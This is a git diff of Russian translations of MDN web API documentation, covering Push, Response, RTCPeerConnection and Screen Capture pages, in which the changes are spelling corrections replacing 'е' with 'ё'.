    Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счёт. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.

    -

    Примечание: Начиная с Gecko 44, разрешенная квота push-уведомлений для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд. Это обрабатывает случаи, когда получены несколько Push уведомлений подряд и не все генерируют видимое уведомление.

    +

    Примечание: Начиная с Gecko 44, разрешённая квота push-уведомлений для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все ещё должна отображаться в течение трёх секунд. Это обрабатывает случаи, когда получены несколько Push уведомлений подряд и не все генерируют видимое уведомление.

    diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html index a264d593d7..008a7438d8 100644 --- a/files/ru/web/api/pushmanager/subscribe/index.html +++ b/files/ru/web/api/pushmanager/subscribe/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/PushManager/subscribe

    Метод subscribe() интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.

    -

    Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.

    +

    Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создаётся в случае, если сервис-воркер не имеет существующей подписки.

    Синтакс

    @@ -52,7 +52,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest. }, function(error) { // При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения. console.log(error); } diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html index 5108735c19..863ef08fd7 100644 --- a/files/ru/web/api/range/surroundcontents/index.html +++ b/files/ru/web/api/range/surroundcontents/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Range/surroundContents

    Этот метод приблизительно эквивалентен коду newNode.appendChild(range.extractContents()); range.insertNode(newNode). После его работы крайние точки диапазона будут включать в себя newNode.

    -

    Если {{ domxref("Range") }} разделяет любой не текстовый элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.

    +

    Если {{ domxref("Range") }} разделяет любой не текстовый элемент хотя бы одной точкой, произойдёт исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.

    Синтаксис

    diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index 30f50ac1a0..e32d4d23b9 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Response

    Интерфейс Response из Fetch API представляет собой ответ на запрос.

    -

    Вы можете создать новый экземпляр объекта Response используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом Response, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.

    +

    Вы можете создать новый экземпляр объекта Response используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнётесь с объектом Response, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.

    Конструктор

    diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index 227387085a..4cc50b9e0b 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
    -
    Свойство только для чтения canTrickleIceCandidates , объекта {{domxref("RTCPeerConnection")}}, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации  trickled ICE candidates.
    +
    Свойство только для чтения canTrickleIceCandidates , объекта {{domxref("RTCPeerConnection")}}, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удалённый пир принимать кандидаты, согласно спецификации  trickled ICE candidates.
    -

    ICE trickling (ICE просачивание)  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..

    +

    ICE trickling (ICE просачивание)  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удалённому пиру..

    Свойство инициализируется только после вызова метода  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.

    @@ -21,10 +21,10 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates

    Значение

    -

    Тип  {{jsxref("Boolean")}} содержит true , если удаленный пир может принимать просвечивающие ICE кандидаты, и  false , если не может. Если удаленный пир еще не инициализирован, свойство возвращает null.

    +

    Тип  {{jsxref("Boolean")}} содержит true , если удалённый пир может принимать просвечивающие ICE кандидаты, и  false , если не может. Если удалённый пир ещё не инициализирован, свойство возвращает null.

    -

    Примечание : Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся  ICE кандидатов.

    +

    Примечание : Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удалённого пира поддерживать просачивающихся  ICE кандидатов.

    Пример

    diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index b0ddb77eb3..09fa8f0f88 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription ---

    {{WebRTCSidebar}} 

    -

    Только для чтения свойство  RTCPeerConnection.currentLocalDescription возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . 

    +

    Только для чтения свойство  RTCPeerConnection.currentLocalDescription возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удалённым пиром (участником соединения) . 

    Для изменения currentLocalDescription, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

    @@ -34,7 +34,7 @@ if (sd) { sd.sdp + "'"); } else { - alert("Локальной сессии еще нет."); + alert("Локальной сессии ещё нет."); } diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index a894369844..8793f0e379 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription ---

    {{WebRTCSidebar}}

    -

    Только для чтения свойство RTCPeerConnection.currentRemoteDescription возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. 

    +

    Только для чтения свойство RTCPeerConnection.currentRemoteDescription возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удалённую сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удалённым пиром. 

    Для изменения значения свойства currentRemoteDescription, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

    @@ -19,7 +19,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription

    Возвращаемое значение

    -

    Текущий объект описания, представляющий удаленную сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет null.

    +

    Текущий объект описания, представляющий удалённую сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет null.

    Пример

    diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 8bd86fa3e5..4cf9d46d46 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event ---
    {{WebRTCSidebar}}
    -

    Событие icecandidate отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).

    +

    Событие icecandidate отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удалённому клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удалённый клиент (remote peer) смог добавить его в свой набор удалённых кандидатов (remote candidates).

    1
    Режим подсчета каналовРежим подсчёта каналов "clamped-max"
    @@ -34,7 +34,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event

    Делимся (Sharing) новым кандидатом

    -

    В основном события icecandidate происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.

    +

    В основном события icecandidate происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.

    rtcPeerConnection.onicecandidate = (event) => {
       if (event.candidate) {
    @@ -45,7 +45,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event
     }
     
    -

    Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).

    +

    Удалённый клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).

    Indicating the end of a generation of candidates

    diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html index 5103da41dc..676d536252 100644 --- a/files/ru/web/api/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection ---

    {{APIRef('WebRTC')}}

    -

    Интерфейс RTCPeerConnection представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.

    +

    Интерфейс RTCPeerConnection представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удалённым пиром на удалённом компьютере. Он предоставляет методы для соединения с удалённым участником соединения, обслуживания, мониторинга и закрытия соединения.

    {{InheritanceDiagram}}

    @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection
    {{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}
    -
    Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..
    +
    Создаёт новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определённым объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..

    События 

    @@ -29,10 +29,10 @@ translation_of: Web/API/RTCPeerConnection
    Событие объекта RTCPeerConnection возникает, когда общий статус объекта соединения RTCPeerConnection изменился.
    Так же, доступно через свойство установки обработчика события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.
    {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}
    -
    Событие объекта RTCPeerConnection возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.
    +
    Событие объекта RTCPeerConnection возникает, когда удалённый пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.
    Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.
    {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}
    -
    Событие объекта RTCPeerConnection возникает, когда  специальный объект ICE кандидата (RTCIceCandidate) сгенерирован RTCPeerConnection и готов для передачи удаленному пиру по каналу сигнализации.Сам сгенерированный объект кандидата передается в параметр вызванного обработчика. 
    +
    Событие объекта RTCPeerConnection возникает, когда  специальный объект ICE кандидата (RTCIceCandidate) сгенерирован RTCPeerConnection и готов для передачи удалённому пиру по каналу сигнализации.Сам сгенерированный объект кандидата передаётся в параметр вызванного обработчика. 
    Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.
    {{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
    Событие типа ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (RTCIceCandidate), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик,  описывают подробности ошибки.
    @@ -41,10 +41,10 @@ translation_of: Web/API/RTCPeerConnection
    Событие объекта RTCPeerConnection возникает при изменении статуса ICE соединения. К примеру, ICE соединение разорвано.
    Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .
    {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
    -
    Событие объекта RTCPeerConnection, возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE еще не началось (статус равен значению "new"); согласование соединения ICE началось (статус равен значению "gathering"); согласование ICE  соединения завершено (статус равен значению "complete").
    +
    Событие объекта RTCPeerConnection, возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что :  согласование соединения ICE ещё не началось (статус равен значению "new"); согласование соединения ICE началось (статус равен значению "gathering"); согласование ICE  соединения завершено (статус равен значению "complete").
    Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .
    {{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
    -
    Событие объекта RTCPeerConnection возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.
    +
    Событие объекта RTCPeerConnection возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов  {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет своё значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.
    Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.
    {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
    Событие объекта RTCPeerConnection возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. 
    @@ -83,7 +83,7 @@ translation_of: Web/API/RTCPeerConnection

    Перечисление RTCBundlePolicy 

    -

    Перечисление RTCBundlePolicy (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке  ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом SDP BUNDLE standard  для объединения нескольких медиапотоков в один транспортный пакет.

    +

    Перечисление RTCBundlePolicy (политика сборки пакетов) определяет строковые константы, которые используются для запроса определённой политики при сборке  ICE кандидатов, в случае, если удалённый участник соединения (удалённая точка) не совместим со стандартом SDP BUNDLE standard  для объединения нескольких медиапотоков в один транспортный пакет.

     Примечание : В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки  TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием одного и того же транспортного протокола.

    @@ -100,16 +100,16 @@ translation_of: Web/API/RTCPeerConnection
    - + - +
    "balanced" -

    Сбалансированный. Агент ICE изначально создает по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.

    +

    Сбалансированный. Агент ICE изначально создаёт по одному объекту  {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если  удалённая конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.

    "max-compat"Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортахМаксимально совместимый. Агент ICE изначально создаёт один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удалённая точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах
    "max-bundle"Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.Максимальный пакет. Агент ICE изначально создаёт только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удалённая  точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.
    @@ -128,15 +128,15 @@ translation_of: Web/API/RTCPeerConnection "new" - ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу. + ICE агент собирает адреса или ожидает получения удалённых кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу. "checking" - ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться. + ICE агент получил один или несколько удалённых кандидатов и проверяет парность локального и удалённого кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но ещё не обнаружил пару, соответствующую устанавливаемому удалённому соединению.Не исключено, что сборка кандидатов продолжиться. "connected" - Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости. + Совместимая парность локального и удалённого кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости. "completed" @@ -144,11 +144,11 @@ translation_of: Web/API/RTCPeerConnection "failed" - Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов.  + Агент ICE проверил все пары кандидатов между собой и не нашёл совместимых сопоставлений для всех компонентов соединения. Или не нашёл совместимых соединений для некоторых компонентов.  "disconnected" - Проверяет, что компоненты все еще подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем "failed", и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние "connected".  + Проверяет, что компоненты все ещё подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}.  Это менее строгий тест, чем "failed", и он может периодически запускаться и разрешаться спонтанно в менее надёжных сетях, или во время временного отключения. Когда проблема исчезнет, ​​соединение может вернуться в состояние "connected".  "closed" @@ -171,7 +171,7 @@ translation_of: Web/API/RTCPeerConnection "new" - Соединение только что создано, и еще не имело сетевой активности. + Соединение только что создано, и ещё не имело сетевой активности. "gathering" @@ -179,7 +179,7 @@ translation_of: Web/API/RTCPeerConnection "complete" - Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "gathering" и начнется пересборка кандидатов. + Агент ICE завершил сборку кандидатов. Если произойдёт, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение  "gathering" и начнётся пересборка кандидатов. @@ -202,7 +202,7 @@ translation_of: Web/API/RTCPeerConnection "public" {{obsolete_inline}} - Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. Удален в спецификации от 13 мая 2016 (working draft). + Будут рассматриваться  ICE кандидаты, только имеющие публичные IP адреса. Удалён в спецификации от 13 мая 2016 (working draft). "relay" @@ -233,11 +233,11 @@ translation_of: Web/API/RTCPeerConnection "connected" - Соединен. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус "connected" или "completed") , либо закрыт  (имеет статус "closed"); кроме того, по крайней мере один объект передачи имеет статус либо  "connected" , либо "completed". + Соединён. Каждый объект ICE передачи, использующийся соединением либо используется  (имеет статус "connected" или "completed") , либо закрыт  (имеет статус "closed"); кроме того, по крайней мере один объект передачи имеет статус либо  "connected" , либо "completed". "disconnected" - Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус "disconnected"  и ни один из объекто передачи не находиться в статусе : "failed", "connecting", или  "checking". + Разъединён. По меньшей мере один из объектов ICE передачи в соединении имеет статус "disconnected"  и ни один из объекто передачи не находиться в статусе : "failed", "connecting", или  "checking". "failed" @@ -301,15 +301,15 @@ translation_of: Web/API/RTCPeerConnection "have-remote-offer" - Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. + Имеет удалённое предложение. Удалённый пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. "have-local-pranswer" - Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно. + Имеет локальный предварительный ответ. Предложение удалённого пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включённых в него  полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно. "have-remote-pranswer" - Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом setLocalDescription(). + Имеет предварительный удалённый ответ. Предварительный удалённый ответ был получен и успешно применён в ответ на предложение, отправленное ранее и установленное методом setLocalDescription(). "closed" {{obsolete_inline}} diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 072496379e..25eaa93c7f 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection ---
    {{APIRef("WebRTC")}}
    -

    Конструктор RTCPeerConnection() возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)

    +

    Конструктор RTCPeerConnection() возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удалённым пиром (участником соединения)

    Синтаксис

    diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html index d9d89652c2..7677339be1 100644 --- a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

    В этой статье изучается использование программного интерфейса  Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию WebRTC .

    -

    Примечание : Полезно отметить, что последние версии библиотеки WebRTC adapter.js  включают реализацию метода getDisplayMedia() для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.

    +

    Примечание : Полезно отметить, что последние версии библиотеки WebRTC adapter.js  включают реализацию метода getDisplayMedia() для обмена изображениями с экрана на браузерах, которые его поддерживают, но ещё не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.

    Захват содержимого экрана

    @@ -41,7 +41,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture .catch(err => { console.error("Error:" + err); return null; }); } -

    В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции startCapture() возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).

    +

    В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции startCapture() возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съёмку ?).

    Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.

    @@ -55,13 +55,13 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture

    Видимые или логические  поверхности отображения

    -

    Для целей интерфейса Screen Capture API, поверхность отображения - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).

    +

    Для целей интерфейса Screen Capture API, поверхность отображения - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединённые в одну поверхность, и монитор (или группу мониторов, объединённых в одну поверхность).

    Есть два типа поверхности дисплея. Видимая поверхность отображения - это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.

    Логическая поверхность отображения - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается  другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.

    -

    Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

    +

    Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушёванный контент, либо путём получения текущего содержимого скрытой части окна, либо путём предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

    Свойства и ограничения

